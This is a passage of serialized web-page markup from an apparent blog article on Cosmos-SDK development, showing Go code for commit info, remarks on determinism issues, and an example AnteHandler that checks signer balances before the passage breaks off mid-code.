  }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[81062],{"type":24,"tag":156,"props":81063,"children":81064},{"__ignoreMap":7},[81065,81102,81115,81143,81177,81222,81268,81276,81283,81328,81358,81387,81394,81401,81428,81450,81470,81477],{"type":24,"tag":930,"props":81066,"children":81067},{"class":932,"line":933},[81068,81072,81076,81081,81085,81090,81094,81098],{"type":24,"tag":930,"props":81069,"children":81070},{"style":937},[81071],{"type":30,"value":79380},{"type":24,"tag":930,"props":81073,"children":81074},{"style":959},[81075],{"type":30,"value":1087},{"type":24,"tag":930,"props":81077,"children":81078},{"style":1023},[81079],{"type":30,"value":81080},"rs ",{"type":24,"tag":930,"props":81082,"children":81083},{"style":1158},[81084],{"type":30,"value":1410},{"type":24,"tag":930,"props":81086,"children":81087},{"style":943},[81088],{"type":30,"value":81089},"Store",{"type":24,"tag":930,"props":81091,"children":81092},{"style":959},[81093],{"type":30,"value":5579},{"type":24,"tag":930,"props":81095,"children":81096},{"style":1002},[81097],{"type":30,"value":81038},{"type":24,"tag":930,"props":81099,"children":81100},{"style":959},[81101],{"type":30,"value":2814},{"type":24,"tag":930,"props":81103,"children":81104},{"class":932,"line":984},[81105,81110],{"type":24,"tag":930,"props":81106,"children":81107},{"style":1023},[81108],{"type":30,"value":81109},"    version",{"type":24,"tag":930,"props":81111,"children":81112},{"style":943},[81113],{"type":30,"value":81114}," int64\n",{"type":24,"tag":930,"props":81116,"children":81117},{"class":932,"line":993},[81118,81122,81126,81130,81134,81139],{"type":24,"tag":930,"props":81119,"children":81120},{"style":959},[81121],{"type":30,"value":5579},{"type":24,"tag":930,"props":81123,"children":81124},{"style":1158},[81125],{"type":30,"value":1410},{"type":24,"tag":930,"props":81127,"children":81128},{"style":943},[81129],{"type":30,"value":8871},{"type":24,"tag":930,"props":81131,"children":81132},{"style":959},[81133],{"type":30,"value":436},{"type":24,"tag":930,"props":81135,"children":81136},{"style":943},[81137],{"type":30,"value":81138},"CommitInfo",{"type":24,"tag":930,"props":81140,"children":81141},{"style":959},[81142],{"type":30,"value":981},{"type":24,"tag":930,"props":81144,"children":81145},{"class":932,"line":1057},[81146,81151,81155,81159,81163,81167,81172],{"type":24,"tag":930,"props":81147,"children":81148},{"style":1023},[81149],{"type":30,"value":81150},"    storeInfos",{"type":24,"tag":930,"props":81152,"children":81153},{"style":1158},[81154],{"type":30,"value":79495},{"type":24,"tag":930,"props":81156,"children":81157},{"style":959},[81158],{"type":30,"value":79307},{"type":24,"tag":930,"props":81160,"children":81161},{"style":943},[81162],{"type":30,"value":8871},{"type":24,"tag":930,"props":81164,"children":81165},{"style":959},[81166],{"type":30,"value":436},{"type":24,"tag":930,"props":81168,"children":81169},{"style":943},[81170],{"type":30,"value":81171},"StoreInfo",{"type":24,"tag":930,"props":81173,"children":81174},{"style":959},[81175],{"type":30,"value":81176},"{}\n",{"type":24,"tag":930,"props":81178,"children":81179},{"class":932,"line":1066},[81180,81184,81188,81192,81196,81200,81204,81209,81213,81218],{"type":24,"tag":930,"props":81181,"children":81182},{"style":1079},[81183],{"type":30,"value":6154},{"type":24,"tag":930,"props":81185,"children":81186},{"style":1023},[81187],{"type":30,"value":9044},{"type":24,"tag":930,"props":81189,"children":81190},{"style":959},[81191],{"type":30,"value":962},{"type":24,"tag":930,"props":81193,"children":81194},{"style":1023},[81195],{"type":30,"value":9053},{"type":24,"tag":930,"props":81197,"children":81198},{"style":1158},[81199],{"type":30,"value":79495},{"type":24,"tag":930,"props":81201,"children":81202},{"style":1079},[81203],{"type":30,"value":80478},{"type":24,"tag":930,"props":81205,"children":81206},{"style":1023},[81207],{"type":30,"value":81208}," rs",{"type":24,"tag":930,"props":81210,"children":81211},{"style":959},[81212],{"type":30,"value":436},{"type":24,"tag":930,"props":81214,"children":81215},{"style":1023},[81216],{"type":30,"value":81217},"stores",{"type":24,"tag":930,"props":81219,"children":81220},{"style":959},[81221],{"type":30,"value":981},{"type":24,"tag":930,"props":81223,"children":81224},{"class":932,"line":1075},[81225,81229,81233,81237,81242,81246,81250,81255,81259,81264],{"type":24,"tag":930,"props":81226,"children":81227},{"style":1079},[81228],{"type":30,"value":3290},{"type":24,"tag":930,"props":81230,"children":81231},{"style":1023},[81232],{"type":30,"value":8943},{"type":24,"tag":930,"props":81234,"children":81235},{"style":959},[81236],{"type":30,"value":436},{"type":24,"tag":930,"props":81238,"children":81239},{"style":1002},[81240],{"type":30,"value":81241},"GetStoreType",{"type":24,"tag":930,"props":81243,"children":81244},{"style":959},[81245],{"type":30,"value":3446},{"type":24,"tag":930,"props":81247,"children":81248},{"style":1158},[81249],{"type":30,"value":1239},{"type":24,"tag":930,"props":81251,"children":81252},{"style":1023},[81253],{"type":30,"value":81254}," types",{"type":24,"tag":930,"props":81256,"children":81257},{"style":959},[81258],{"type":30,"value":436},{"type":24,"tag":930,"props":81260,"children":81261},{"style":1023},[81262],{"type":30,"value":81263},"StoreTypeTransient",{"type":24,"tag":930,"props":81265,"children":81266},{"style":959},[81267],{"type":30,"value":981},{"type":24,"tag":930,"props":81269,"children":81270},{"class":932,"line":1122},[81271],{"type":24,"tag":930,"props":81272,"children":81273},{"style":1079},[81274],{"type":30,"value":81275},"            continue\n",{"type":24,"tag":930,"props":81277,"children":81278},{"class":932,"line":1131},[81279],{"type":24,"tag":930,"props":81280,"children":81281},{"style":959},[81282],{"type":30,"value":1831},{"type":24,"tag":930,"props":81284,"children":81285},{"class":932,"line":1144},[81286,81291,81295,81299,81303,81308,81312,81316,81320,81324],{"type":24,"tag":930,"props":81287,"children":81288},{"style":1023},[81289],{"type":30,"value":81290},"        storeInfos",{"type":24,"tag":930,"props":81292,"children":81293},{"style":1158},[81294],{"type":30,"value":6137},{"type":24,"tag":930,"props":81296,"children":81297},{"style":1002},[81298],{"type":30,"value":80775},{"type":24,"tag":930,"props":81300,"children":81301},{"style":959},[81302],{"type":30,"value":1010},{"type":24,"tag":930,"props":81304,"children":81305},{"style":1023},[81306],{"type":30,"value":81307},"storeInfos",{"type":24,"tag":930,"props":81309,"children":81310},{"style":959},[81311],{"type":30,"value":962},{"type":24,"tag":930,"props":81313,"children":81314},{"style":943},[81315],{"type":30,"value":8871},{"type":24,"tag":930,"props":81317,"children":81318},{"style":959},[81319],{"type":30,"value":436},{"type":24,"tag":930,"props":81321,"children":81322},{"style":943},[81323],{"type":30,"value":81171},{"type":24,"tag":930,"props":81325,"children":81326},{"style":959},[81327],{"type":30,"value":13987},{"type":24,"tag":930,"props":81329,"children":81330},{"class":932,"line":1169},[81331,81336,81341,81345,81349,81354],{"type":24,"tag":930,"props":81332,"children":81333},{"style":1023},[81334],{"type":30,"value":81335},"            Name",{"type":24,"tag":930,"props":81337,"children":81338},{"style":959},[81339],{"type":30,"value":81340},":     ",{"type":24,"tag":930,"props":81342,"children":81343},{"style":1023},[81344],{"type":30,"value":75237},{"type":24,"tag":930,"props":81346,"children":81347},{"style":959},[81348],{"type":30,"value":436},{"type":24,"tag":930,"props":81350,"children":81351},{"style":1002},[81352],{"type":30,"value":81353},"Name",{"type":24,"tag":930,"props":81355,"children":81356},{"style":959},[81357],{"type":30,"value":6607},{"type":24,"tag":930,"props":81359,"children":81360},{"class":932,"line":1191},[81361,81366,81370,81374,81378,81383],{"type":24,"tag":930,"props":81362,"children":81363},{"style":1023},[81364],{"type":30,"value":81365},"            CommitId",{"type":24,"tag":930,"props":81367,"children":81368},{"style":959},[81369],{"type":30,"value":18434},{"type":24,"tag":930,"props":81371,"children":81372},{"style":1023},[81373],{"type":30,"value":9053},{"type":24,"tag":930,"props":81375,"children":81376},{"style":959},[81377],{"type":30,"value":436},{"type":24,"tag":930,"props":81379,"children":81380},{"style":1002},[81381],{"type":30,"value":81382},"LastCommitID",{"type":24,"tag":930,"props":81384,"children":81385},{"style":959},[81386],{"type":30,"value":6607},{"type":24,"tag":930,"props":81388,"children":81389},{"class":932,"line":1223},[81390],{"type":24,"tag":930,"props":81391,"children":81392},{"style":959},[81393],{"type":30,"value":71283},{"type":24,"tag":930,"props":81395,"children":81396},{"class":932,"line":1281},[81397],{"type":24,"tag":930,"props":81398,"children":81399},{"style":959},[81400],{"type":30,"value":1840},{"type":24,"tag":930,"props":81402,"children":81403},{"class":932,"line":1313},[81404,81408,81412,81416,81420,81424],{"type":24,"tag":930,"props":81405,"children":81406},{"style":1079},[81407],{"type":30,"value":20090},{"type":24,"tag":930,"props":81409,"children":81410},{"style":1158},[81411],{"type":30,"value":10253},{"type":24,"tag":930,"props":81413,"children":81414},{"style":943},[81415],{"type":30,"value":8871},{"type":24,"tag":930,"props":81417,"children":81418},{"style":959},[81419],{"type":30,"value":436},{"type":24,"tag":930,"props":81421,"children":81422},{"style":943},[81423],{"type":30,"value":81138},{"type":24,"tag":930,"props":81425,"children":81426},{"style":959},[81427],{"type":30,"value":13987},{"type":24,"tag":930,"props":81429,"children":81430},{"class":932,"line":1335},[81431,81436,81441,81446],{"type":24,"tag":930,"props":81432,"children":81433},{"style":1023},[81434],{"type":30,"value":81435},"        Version",{"type":24,"tag":930,"props":81437,"children":81438},{"style":959},[81439],{"type":30,"value":81440},":    ",{"type":24,"tag":930,"props":81442,"children":81443},{"style":1023},[81444],{"type":30,"value":81445},"version",{"type":24,"tag":930,"props":81447,"children":81448},{"style":959},[81449],{"type":30,"value":2832},{"type":24,"tag":930,"props":81451,"children":81452},{"class":932,"line":1376},[81453,81458,81462,81466],{"type":24,"tag":930,"props":81454,"children":81455},{"style":1023},[81456],{"type":30,"value":81457},"        StoreInfos",{"type":24,"tag":930,"props":81459,"children":81460},{"style":959},[81461],{"type":30,"value":18434},{"type":24,"tag":930,"props":81463,"children":81464},{"style":1023},[81465],{"type":30,"value":81307},{"type":24,"tag":930,"props":81467,"children":81468},{"style":959},[81469],{"type":30,"value":2832},{"type":24,"tag":930,"props":81471,"children":81472},{"class":932,"line":1418},[81473],{"type":24,"tag":930,"props":81474,"children":81475},{"style":959},[81476],{"type":30,"value":1840},{"type":24,"tag":930,"props":81478,"children":81479},{"class":932,"line":1438},[81480],{"type":24,"tag":930,"props":81481,"children":81482},{"style":959},[81483],{"type":30,"value":2528},{"type":24,"tag":33,"props":81485,"children":81486},{},[81487,81489,81496,81497,81504],{"type":30,"value":81488},"Other factors contributing to determinism issues are the usage of ",{"type":24,"tag":37,"props":81490,"children":81493},{"href":81491,"rel":81492},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[41],[81494],{"type":30,"value":81495},"time-sensitive functions",{"type":30,"value":211},{"type":24,"tag":37,"props":81498,"children":81501},{"href":81499,"rel":81500},"https://github.com/cosmos/cosmos-sdk/issues/16638",[41],[81502],{"type":30,"value":81503},"race conditions",{"type":30,"value":436},{"type":24,"tag":68,"props":81506,"children":81508},{"id":81507},"thou-shalt-not-passor-should-you",[81509],{"type":30,"value":81510},"Thou Shalt Not Pass...Or Should You?",{"type":24,"tag":33,"props":81512,"children":81513},{},[81514,81516,81522,81523,81529],{"type":30,"value":81515},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":24,"tag":156,"props":81517,"children":81519},{"className":81518},[],[81520],{"type":30,"value":81521},"msg.value",{"type":30,"value":962},{"type":24,"tag":156,"props":81524,"children":81526},{"className":81525},[],[81527],{"type":30,"value":81528},"msg.sender",{"type":30,"value":81530},", and collecting transaction fees) to the underlying blockchain.",{"type":24,"tag":33,"props":81532,"children":81533},{},[81534,81536,81542,81544,81550],{"type":30,"value":81535},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":24,"tag":156,"props":81537,"children":81539},{"className":81538},[],[81540],{"type":30,"value":81541},"Cosmos-SDK",{"type":30,"value":81543}," introduces ",{"type":24,"tag":156,"props":81545,"children":81547},{"className":81546},[],[81548],{"type":30,"value":81549},"AnteHandler",{"type":30,"value":81551}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":24,"tag":33,"props":81553,"children":81554},{},[81555,81557,81562,81564,81569],{"type":30,"value":81556},"To provide context, let's first understand how an ",{"type":24,"tag":156,"props":81558,"children":81560},{"className":81559},[],[81561],{"type":30,"value":81549},{"type":30,"value":81563}," is processed. Each ",{"type":24,"tag":156,"props":81565,"children":81567},{"className":81566},[],[81568],{"type":30,"value":81549},{"type":30,"value":81570}," is a state transition function that can:",{"type":24,"tag":478,"props":81572,"children":81573},{},[81574,81579],{"type":24,"tag":100,"props":81575,"children":81576},{},[81577],{"type":30,"value":81578},"Transform the block state in relation to transaction and execution context.",{"type":24,"tag":100,"props":81580,"children":81581},{},[81582,81584],{"type":30,"value":81583},"Determine the course of action for the transaction.\n",{"type":24,"tag":478,"props":81585,"children":81586},{},[81587,81598],{"type":24,"tag":100,"props":81588,"children":81589},{},[81590,81592,81597],{"type":30,"value":81591},"Pass the transaction to the next ",{"type":24,"tag":156,"props":81593,"children":81595},{"className":81594},[],[81596],{"type":30,"value":81549},{"type":30,"value":436},{"type":24,"tag":100,"props":81599,"children":81600},{},[81601],{"type":30,"value":81602},"Return error for transaction.",{"type":24,"tag":33,"props":81604,"children":81605},{},[81606,81608,81613],{"type":30,"value":81607},"The bad news is that developing an ",{"type":24,"tag":156,"props":81609,"children":81611},{"className":81610},[],[81612],{"type":30,"value":81549},{"type":30,"value":81614}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":24,"tag":33,"props":81616,"children":81617},{},[81618,81619,81625],{"type":30,"value":259},{"type":24,"tag":156,"props":81620,"children":81622},{"className":81621},[],[81623],{"type":30,"value":81624},"AnteHandle",{"type":30,"value":81626}," implementation may look something like this:",{"type":24,"tag":920,"props":81628,"children":81630},{"code":81629,"language":79244,"meta":7,"className":79245,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[81631],{"type":24,"tag":156,"props":81632,"children":81633},{"__ignoreMap":7},[81634,81646,81662,81669,81676,81709,81733,81758,81774,81798,81830,81878,81897,81930,81951,81963,81970,81977,81984,82014,82050,82114,82148,82179,82191,82203,82210,82217,82224,82231,82273],{"type":24,"tag":930,"props":81635,"children":81636},{"class":932,"line":933},[81637,81641],{"type":24,"tag":930,"props":81638,"children":81639},{"style":937},[81640],{"type":30,"value":12762},{"type":24,"tag":930,"props":81642,"children":81643},{"style":959},[81644],{"type":30,"value":81645}," (\n",{"type":24,"tag":930,"props":81647,"children":81648},{"class":932,"line":984},[81649,81654,81658],{"type":24,"tag":930,"props":81650,"children":81651},{"style":1023},[81652],{"type":30,"value":81653},"    MIN_BALANCE",{"type":24,"tag":930,"props":81655,"children":81656},{"style":1158},[81657],{"type":30,"value":6137},{"type":24,"tag":930,"props":81659,"children":81660},{"style":1242},[81661],{"type":30,"value":22445},{"type":24,"tag":930,"props":81663,"children":81664},{"class":932,"line":993},[81665],{"type":24,"tag":930,"props":81666,"children":81667},{"style":959},[81668],{"type":30,"value":1054},{"type":24,"tag":930,"props":81670,"children":81671},{"class":932,"line":1057},[81672],{"type":24,"tag":930,"props":81673,"children":81674},{"emptyLinePlaceholder":16},[81675],{"type":30,"value":2412},{"type":24,"tag":930,"props":81677,"children":81678},{"class":932,"line":1066},[81679,81683,81687,81692,81697,81701,81705],{"type":24,"tag":930,"props":81680,"children":81681},{"style":937},[81682],{"type":30,"value":79380},{"type":24,"tag":930,"props":81684,"children":81685},{"style":959},[81686],{"type":30,"value":1087},{"type":24,"tag":930,"props":81688,"children":81689},{"style":1023},[81690],{"type":30,"value":81691},"abd ",{"type":24,"tag":930,"props":81693,"children":81694},{"style":943},[81695],{"type":30,"value":81696},"AccountBalanceDecorator",{"type":24,"tag":930,"props":81698,"children":81699},{"style":959},[81700],{"type":30,"value":5579},{"type":24,"tag":930,"props":81702,"children":81703},{"style":1002},[81704],{"type":30,"value":81624},{"type":24,"tag":930,"props":81706,"children":81707},{"style":959},[81708],{"type":30,"value":2814},{"type":24,"tag":930,"props":81710,"children":81711},{"class":932,"line":1075},[81712,81716,81721,81725,81729],{"type":24,"tag":930,"props":81713,"children":81714},{"style":1023},[81715],{"type":30,"value":23327},{"type":24,"tag":930,"props":81717,"children":81718},{"style":943},[81719],{"type":30,"value":81720}," sdk",{"type":24,"tag":930,"props":81722,"children":81723},{"style":959},[81724],{"type":30,"value":436},{"type":24,"tag":930,"props":81726,"children":81727},{"style":943},[81728],{"type":30,"value":79428},{"type":24,"tag":930,"props":81730,"children":81731},{"style":959},[81732],{"type":30,"value":2832},{"type":24,"tag":930,"props":81734,"children":81735},{"class":932,"line":1122},[81736,81741,81745,81749,81754],{"type":24,"tag":930,"props":81737,"children":81738},{"style":1023},[81739],{"type":30,"value":81740},"    tx",{"type":24,"tag":930,"props":81742,"children":81743},{"style":943},[81744],{"type":30,"value":81720},{"type":24,"tag":930,"props":81746,"children":81747},{"style":959},[81748],{"type":30,"value":436},{"type":24,"tag":930,"props":81750,"children":81751},{"style":943},[81752],{"type":30,"value":81753},"Tx",{"type":24,"tag":930,"props":81755,"children":81756},{"style":959},[81757],{"type":30,"value":2832},{"type":24,"tag":930,"props":81759,"children":81760},{"class":932,"line":1131},[81761,81766,81770],{"type":24,"tag":930,"props":81762,"children":81763},{"style":1023},[81764],{"type":30,"value":81765},"    simulate",{"type":24,"tag":930,"props":81767,"children":81768},{"style":943},[81769],{"type":30,"value":15157},{"type":24,"tag":930,"props":81771,"children":81772},{"style":959},[81773],{"type":30,"value":2832},{"type":24,"tag":930,"props":81775,"children":81776},{"class":932,"line":1144},[81777,81782,81786,81790,81794],{"type":24,"tag":930,"props":81778,"children":81779},{"style":1023},[81780],{"type":30,"value":81781},"    next",{"type":24,"tag":930,"props":81783,"children":81784},{"style":943},[81785],{"type":30,"value":81720},{"type":24,"tag":930,"props":81787,"children":81788},{"style":959},[81789],{"type":30,"value":436},{"type":24,"tag":930,"props":81791,"children":81792},{"style":943},[81793],{"type":30,"value":81549},{"type":24,"tag":930,"props":81795,"children":81796},{"style":959},[81797],{"type":30,"value":2832},{"type":24,"tag":930,"props":81799,"children":81800},{"class":932,"line":1169},[81801,81805,81810,81814,81818,81822,81826],{"type":24,"tag":930,"props":81802,"children":81803},{"style":959},[81804],{"type":30,"value":79461},{"type":24,"tag":930,"props":81806,"children":81807},{"style":943},[81808],{"type":30,"value":81809},"sdk",{"type":24,"tag":930,"props":81811,"children":81812},{"style":959},[81813],{"type":30,"value":436},{"type":24,"tag":930,"props":81815,"children":81816},{"style":943},[81817],{"type":30,"value":79428},{"type":24,"tag":930,"props":81819,"children":81820},{"style":959},[81821],{"type":30,"value":962},{"type":24,"tag":930,"props":81823,"children":81824},{"style":943},[81825],{"type":30,"value":17967},{"type":24,"tag":930,"props":81827,"children":81828},{"style":959},[81829],{"type":30,"value":1503},{"type":24,"tag":930,"props":81831,"children":81832},{"class":932,"line":1191},[81833,81838,81842,81847,81851,81855,81860,81865,81869,81874],{"type":24,"tag":930,"props":81834,"children":81835},{"style":1023},[81836],{"type":30,"value":81837},"    sigTx",{"type":24,"tag":930,"props":81839,"children":81840},{"style":959},[81841],{"type":30,"value":962},{"type":24,"tag":930,"props":81843,"children":81844},{"style":1023},[81845],{"type":30,"value":81846},"ok",{"type":24,"tag":930,"props":81848,"children":81849},{"style":1158},[81850],{"type":30,"value":79495},{"type":24,"tag":930,"props":81852,"children":81853},{"style":1023},[81854],{"type":30,"value":71113},{"type":24,"tag":930,"props":81856,"children":81857},{"style":959},[81858],{"type":30,"value":81859},".(",{"type":24,"tag":930,"props":81861,"children":81862},{"style":943},[81863],{"type":30,"value":81864},"authsigning",{"type":24,"tag":930,"props":81866,"children":81867},{"style":959},[81868],{"type":30,"value":436},{"type":24,"tag":930,"props":81870,"children":81871},{"style":943},[81872],{"type":30,"value":81873},"SigVerifiableTx",{"type":24,"tag":930,"props":81875,"children":81876},{"style":959},[81877],{"type":30,"value":1054},{"type":24,"tag":930,"props":81879,"children":81880},{"class":932,"line":1223},[81881,81885,81889,81893],{"type":24,"tag":930,"props":81882,"children":81883},{"style":1079},[81884],{"type":30,"value":15386},{"type":24,"tag":930,"props":81886,"children":81887},{"style":1158},[81888],{"type":30,"value":15971},{"type":24,"tag":930,"props":81890,"children":81891},{"style":1023},[81892],{"type":30,"value":81846},{"type":24,"tag":930,"props":81894,"children":81895},{"style":959},[81896],{"type":30,"value":981},{"type":24,"tag":930,"props":81898,"children":81899},{"class":932,"line":1281},[81900,81904,81908,81912,81917,81921,81926],{"type":24,"tag":930,"props":81901,"children":81902},{"style":1079},[81903],{"type":30,"value":18847},{"type":24,"tag":930,"props":81905,"children":81906},{"style":1023},[81907],{"type":30,"value":28935},{"type":24,"tag":930,"props":81909,"children":81910},{"style":959},[81911],{"type":30,"value":962},{"type":24,"tag":930,"props":81913,"children":81914},{"style":1023},[81915],{"type":30,"value":81916},"errorsmod",{"type":24,"tag":930,"props":81918,"children":81919},{"style":959},[81920],{"type":30,"value":436},{"type":24,"tag":930,"props":81922,"children":81923},{"style":1002},[81924],{"type":30,"value":81925},"Wrap",{"type":24,"tag":930,"props":81927,"children":81928},{"style":959},[81929],{"type":30,"value":2814},{"type":24,"tag":930,"props":81931,"children":81932},{"class":932,"line":1313},[81933,81938,81942,81947],{"type":24,"tag":930,"props":81934,"children":81935},{"style":1023},[81936],{"type":30,"value":81937},"            sdkerrors",{"type":24,"tag":930,"props":81939,"children":81940},{"style":959},[81941],{"type":30,"value":436},{"type":24,"tag":930,"props":81943,"children":81944},{"style":1023},[81945],{"type":30,"value":81946},"ErrTxDecode",{"type":24,"tag":930,"props":81948,"children":81949},{"style":959},[81950],{"type":30,"value":2832},{"type":24,"tag":930,"props":81952,"children":81953},{"class":932,"line":1335},[81954,81959],{"type":24,"tag":930,"props":81955,"children":81956},{"style":1270},[81957],{"type":30,"value":81958},"            \"invalid tx type\"",{"type":24,"tag":930,"props":81960,"children":81961},{"style":959},[81962],{"type":30,"value":2832},{"type":24,"tag":930,"props":81964,"children":81965},{"class":932,"line":1376},[81966],{"type":24,"tag":930,"props":81967,"children":81968},{"style":959},[81969],{"type":30,"value":71406},{"type":24,"tag":930,"props":81971,"children":81972},{"class":932,"line":1418},[81973],{"type":24,"tag":930,"props":81974,"children":81975},{"style":959},[81976],{"type":30,"value":1840},{"type":24,"tag":930,"props":81978,"children":81979},{"class":932,"line":1438},[81980],{"type":24,"tag":930,"props":81981,"children":81982},{"emptyLinePlaceholder":16},[81983],{"type":30,"value":2412},{"type":24,"tag":930,"props":81985,"children":81986},{"class":932,"line":1479},[81987,81992,81996,82001,82005,82010],{"type":24,"tag":930,"props":81988,"children":81989},{"style":1023},[81990],{"type":30,"value":81991},"    signers",{"type":24,"tag":930,"props":81993,"children":81994},{"style":1158},[81995],{"type":30,"value":79495},{"type":24,"tag":930,"props":81997,"children":81998},{"style":1023},[81999],{"type":30,"value":82000}," sigTx",{"type":24,"tag":930,"props":82002,"children":82003},{"style":959},[82004],{"type":30,"value":436},{"type":24,"tag":930,"props":82006,"children":82007},{"style":1002},[82008],{"type":30,"value":82009},"GetSigners",{"type":24,"tag":930,"props":82011,"children":82012},{"style":959},[82013],{"type":30,"value":10846},{"type":24,"tag":930,"props":82015,"children":82016},{"class":932,"line":1506},[82017,82021,82025,82029,82033,82037,82041,82046],{"type":24,"tag":930,"props":82018,"children":82019},{"style":1079},[82020],{"type":30,"value":6154},{"type":24,"tag":930,"props":82022,"children":82023},{"style":1023},[82024],{"type":30,"value":6515},{"type":24,"tag":930,"props":82026,"children":82027},{"style":959},[82028],{"type":30,"value":962},{"type":24,"tag":930,"props":82030,"children":82031},{"style":1023},[82032],{"type":30,"value":10258},{"type":24,"tag":930,"props":82034,"children":82035},{"style":1158},[82036],{"type":30,"value":79495},{"type":24,"tag":930,"props":82038,"children":82039},{"style":1079},[82040],{"type":30,"value":80478},{"type":24,"tag":930,"props":82042,"children":82043},{"style":1023},[82044],{"type":30,"value":82045}," signers",{"type":24,"tag":930,"props":82047,"children":82048},{"style":959},[82049],{"type":30,"value":981},{"type":24,"tag":930,"props":82051,"children":82052},{"class":932,"line":1525},[82053,82058,82062,82067,82071,82076,82080,82085,82089,82093,82097,82101,82105,82110],{"type":24,"tag":930,"props":82054,"children":82055},{"style":1023},[82056],{"type":30,"value":82057},"        balance",{"type":24,"tag":930,"props":82059,"children":82060},{"style":1158},[82061],{"type":30,"value":79495},{"type":24,"tag":930,"props":82063,"children":82064},{"style":1023},[82065],{"type":30,"value":82066}," abd",{"type":24,"tag":930,"props":82068,"children":82069},{"style":959},[82070],{"type":30,"value":436},{"type":24,"tag":930,"props":82072,"children":82073},{"style":1023},[82074],{"type":30,"value":82075},"bk",{"type":24,"tag":930,"props":82077,"children":82078},{"style":959},[82079],{"type":30,"value":436},{"type":24,"tag":930,"props":82081,"children":82082},{"style":1002},[82083],{"type":30,"value":82084},"getBalance",{"type":24,"tag":930,"props":82086,"children":82087},{"style":959},[82088],{"type":30,"value":1010},{"type":24,"tag":930,"props":82090,"children":82091},{"style":1023},[82092],{"type":30,"value":23384},{"type":24,"tag":930,"props":82094,"children":82095},{"style":959},[82096],{"type":30,"value":962},{"type":24,"tag":930,"props":82098,"children":82099},{"style":1023},[82100],{"type":30,"value":10258},{"type":24,"tag":930,"props":82102,"children":82103},{"style":959},[82104],{"type":30,"value":962},{"type":24,"tag":930,"props":82106,"children":82107},{"style":1023},[82108],{"type":30,"value":82109},"ATOM",{"type":24,"tag":930,"props":82111,"children":82112},{"style":959},[82113],{"type":30,"value":1054},{"type":24,"tag":930,"props":82115,"children":82116},{"class":932,"line":1569},[82117,82121,82126,82130,82135,82139,82144],{"type":24,"tag":930,"props":82118,"children":82119},{"style":1079},[82120],{"type":30,"value":3290},{"type":24,"tag":930,"props":82122,"children":82123},{"style":1023},[82124],{"type":30,"value":82125}," balance",{"type":24,"tag":930,"props":82127,"children":82128},{"style":959},[82129],{"type":30,"value":436},{"type":24,"tag":930,"props":82131,"children":82132},{"style":1023},[82133],{"type":30,"value":82134},"Amount",{"type":24,"tag":930,"props":82136,"children":82137},{"style":1158},[82138],{"type":30,"value":11828},{"type":24,"tag":930,"props":82140,"children":82141},{"style":1023},[82142],{"type":30,"value":82143}," MIN_BALANCE",{"type":24,"tag":930,"props":82145,"children":82146},{"style":959},[82147],{"type":30,"value":981},{"type":24,"tag":930,"props":82149,"children":82150},{"class":932,"line":1592},[82151,82155,82159,82163,82167,82171,82175],{"type":24,"tag":930,"props":82152,"children":82153},{"style":1079},[82154],{"type":30,"value":4279},{"type":24,"tag":930,"props":82156,"children":82157},{"style":1023},[82158],{"type":30,"value":28935},{"type":24,"tag":930,"props":82160,"children":82161},{"style":959},[82162],{"type":30,"value":962},{"type":24,"tag":930,"props":82164,"children":82165},{"style":1023},[82166],{"type":30,"value":81916},{"type":24,"tag":930,"props":82168,"children":82169},{"style":959},[82170],{"type":30,"value":436},{"type":24,"tag":930,"props":82172,"children":82173},{"style":1002},[82174],{"type":30,"value":81925},{"type":24,"tag":930,"props":82176,"children":82177},{"style":959},[82178],{"type":30,"value":2814},{"type":24,"tag":930,"props":82180,"children":82181},{"class":932,"line":1610},[82182,82187],{"type":24,"tag":930,"props":82183,"children":82184},{"style":1023},[82185],{"type":30,"value":82186},"                ErrInsufficientBalance",{"type":24,"tag":930,"props":82188,"children":82189},{"style":959},[82190],{"type":30,"value":2832},{"type":24,"tag":930,"props":82192,"children":82193},{"class":932,"line":1628},[82194,82199],{"type":24,"tag":930,"props":82195,"children":82196},{"style":1270},[82197],{"type":30,"value":82198},"                \"Insufficient Balance\"",{"type":24,"tag":930,"props":82200,"children":82201},{"style":959},[82202],{"type":30,"value":2832},{"type":24,"tag":930,"props":82204,"children":82205},{"class":932,"line":1637},[82206],{"type":24,"tag":930,"props":82207,"children":82208},{"style":959},[82209],{"type":30,"value":80594},{"type":24,"tag":930,"props":82211,"children":82212},{"class":932,"line":1646},[82213],{"type":24,"tag":930,"props":82214,"children":82215},{"style":959},[82216],{"type":30,"value":1831},{"type":24,"tag":930,"props":82218,"children":82219},{"class":932,"line":1673},[82220],{"type":24,"tag":930,"props":82221,"children":82222},{"style":959},[82223],{"type":30,"value":1840},{"type":24,"tag":930,"props":82225,"children":82226},{"class":932,"line":1692},[82227],{"type":24,"tag":930,"props":82228,"children":82229},{"emptyLinePlaceholder":16},[82230],{"type":30,"value":2412},{"type":24,"tag":930,"props":82232,"children":82233},{"class":932,"line":1730},[82234,82238,82243,82247,82251,82255,82260,82264,82269],{"type":24,"tag":930,"props":82235,"children":82236},{"style":1079},[82237],{"type":30,"value":20090},{"type":24,"tag":930,"props":82239,"children":82240},{"style":1002},[82241],{"type":30,"value":82242}," 